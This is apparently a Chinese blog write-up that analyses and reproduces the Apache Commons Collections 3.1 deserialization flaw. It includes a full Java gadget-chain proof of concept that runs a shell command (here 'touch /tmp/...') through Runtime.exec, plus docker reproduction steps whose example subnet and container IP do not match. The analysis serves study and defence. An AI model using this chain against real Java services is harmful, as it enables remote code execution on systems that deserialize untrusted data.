Apache Commons Collections反序列化漏洞分析与复现

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1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 漏洞分析

存在安全缺陷的版本：Apache Commons Collections3.2.1以下，【JDK版本：1.7.0_80】Apache Maven 3.6.3。

POC核心代码：

package com.patrilic.vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform(null);

        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//        //触发漏洞
//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//        onlyElement.setValue("foobar");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);

        //将ins序列化
        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();

        //取出序列化的数据流进行反序列化，验证
        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();

//    }
//}
    }
}

漏洞利用思路：

Transformer接口-实现类-InvokerTransformer（），可调用任何函数。

为实现 Runtime.getRuntime().exec(cmd)，要多次调用 transformer 并将当前返回结果作为下次输入信息。

为调用 Runtime.getRuntime()，考虑 ConstantTransformer 类，它可直接将输入的参数作为输出。

ChainedTransformer 作为实现类，对于接收的Transformer 数组，采用自身的transform方法（参数是用户输入的）逐次处理Transformer数组对象，将其结果作为下次重复调用的输入参数。它的 transform（）方法即可出触发漏洞。

为寻找反序列化途径，即读进来数据被反序列化执行，则反向寻找可触发ChainedTransformer 对象 .transform() 方法的途径。

HashMap类可以键值对方式存储数据，put(key，value)方法可存储数据。

TransformedMap类的功能是存储键值对并将其转换为transform objects，decorate（）方法可创建键值对组，checkSetValue（）方法会触发this.valueTransformer.transform（）语句。依次反向寻找调用 checkSetValue（）【1】，使 this.valueTransformer 为 ChainedTransformer 对象的途径【2】。

对于【2】，TransformedMap 类的静态方法 decorate（）可达到目标。

对于【1】，AbstractInputCheckedMapDecorator 类 MapEntry 静态类的setValue方法会执行this.parent.checkSetValue(value)，则接下来应使this.parent为TransformedMap对象【3】。

对于【3】，正向分析POC中此段代码：

Map.Entry onlyElement = (Map.Entry) 
outerMap.entrySet().iterator().next();

研究可知，执行过程中多次在AbstractInputCheckedMapDecorator类中，将TransformedMap对象赋值给this.parent，返回Map.Entry对象，正好可以执行setValue（）方法，触发漏洞。

为提升通用性，必须设法使得调用反序列化方法即触发漏洞，因此，考虑寻找类对象满足“重写反序列化readObject()且执行Map类对象变量的setValue()，同时此变量可被控制赋键值数据”。AnnotationInvocationHandler类满足此需求【它对Map类型的成员变量的每个条目均调用setValue()】。

Class.forName() 功能是加载类。

则再次分析，对于【1】，正向分析POC中核心代码：

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
……
Object obj = (Object) ois.readObject();

研究可知，执行过程会执行 MapEntry 静态类的 setValue 方法，且会执行entrySet 方法使得 this.parent=TransformedMap 对象，从而触发漏洞。

总的来说，正向的POC构造思路为：先构造 ChainedTransformer 对象，随后创建 Map 对象，再采用 TransformedMap 类实例将 ChainedTransformer 对象保存至 Map 类对象中，再通过反射方法获得经 Map 类对象初始化的AnnotationInvocationHandler 类实例，对其进行序列化。

1.3 docker复现

下载制作的docker镜像，用以下命令：

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1

设置局域网及容器ip、启动容器，例子：

（1）自定义网络

docker network create --subnet=192.168.10.1/24 testnet

（2）启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

在容器【Apache-Commons-Collections】中，执行命令【java -jar commons-collections-3.1.jar】，则生成文件【CommonsCollections3.1】，如下图。

1.7 参考资料

• https://www.freebuf.com/vuls/251664.html

• https://patrilic.top/2020/03/19/commons-collections-3.1%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#0x00-Build

• https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/

• https://zhuanlan.zhihu.com/p/62496468

• https://blog.csdn.net/chengly0129/article/details/70215018

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题图：Pixabay License

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